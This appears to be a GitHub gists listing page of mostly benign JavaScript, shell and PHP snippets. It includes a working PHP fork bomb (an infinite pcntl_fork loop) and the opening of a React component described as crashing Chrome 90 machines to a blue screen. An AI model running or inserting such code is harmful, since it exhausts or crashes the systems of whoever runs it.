Skip to content

Instantly share code, notes, and snippets.

View milksense's full-sized avatar
🌌

milksense

🌌
  • Decentralized
View GitHub Profile
@milksense
milksense / useVisibilityChange.js
Created November 22, 2020 17:32
Document visibility hook (React)
import { useEffect } from "react"
export default function useVisibilityChange(handleVisibilityChange) {
useEffect(() => {
let hidden
let visibilityChange
if (typeof document.hidden !== "undefined") {
hidden = "hidden"
visibilityChange = "visibilitychange"
} else if (typeof document.msHidden !== "undefined") {
@milksense
milksense / README.md
Created January 5, 2021 02:35
SAD Font Symbols

🌌 Symbols

ᴀ ʙ ᴄ ᴅ ᴇ ғ ɢ ʜ ɪ ᴊ ᴋ ʟ ᴍ ɴ ᴏ ᴘ ǫ ʀ s ᴛ ᴜ ᴠ ᴡ z x ʏ

@milksense
milksense / main.php
Created January 5, 2021 06:45
Fork bomb PHP8
<?php
while(true) {
pcntl_fork();
}
@milksense
milksense / index.js
Last active January 9, 2021 02:28
Conditional Import
/**
* Conditional Import example
*
* @return {(Promise|NULL)} Expected result
* @see {@link https://css-tricks.com/responsible-conditional-loading/} for further information.
*/
(async () => {
if (navigator.connection.saveData === false) {
const { v4: uuidv4 } = await import(
"https://cdn.skypack.dev/uuid"
@milksense
milksense / index.min.js
Created January 14, 2021 06:14
ES6 Capability
const supportsES6=function(){try{return new Function("(a=0)=>a"),!0}catch(n){return!1}}();
@milksense
milksense / index.js
Created February 11, 2021 11:24
File downloading via Vanilla JavaScript
setTimeout(() => {
const a = document.createElement('a');
a.download = 'file.txt';
a.href = 'data:text/plain;base64,SGVsbG8sIFdvcmxkIQ==';
a.click();
}, 5e3);
@milksense
milksense / file.bat
Created March 11, 2021 23:03
Fastest way to create tsconfig.json via npx
npx -p typescript tsc --init
@milksense
milksense / index.js
Last active November 21, 2021 20:18
React Component » BSOD via image Chrome 90
import React, { useState, useEffect } from 'react';
/**
* Works in Chrome 90.0.4430.72
*
* @method Bug
*/
const Bug = () => {
/**
* Current IMG src attr
@milksense
milksense / index.sh
Created April 30, 2021 17:50
Updating pip to latest version
/usr/bin/python3 -m pip install --upgrade pip
@milksense
milksense / index.js
Last active June 12, 2022 01:08
Improved Time Zone resolver
/**
* Improved Time Zone resolver
*
* @see {@link https://402.ecma-international.org/1.0/#sec-12.1} reference
* @see {@link https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat} reference
* @see {@link https://en.wikipedia.org/wiki/List_of_tz_database_time_zones} reference
*
* @return {String|NULL}
*/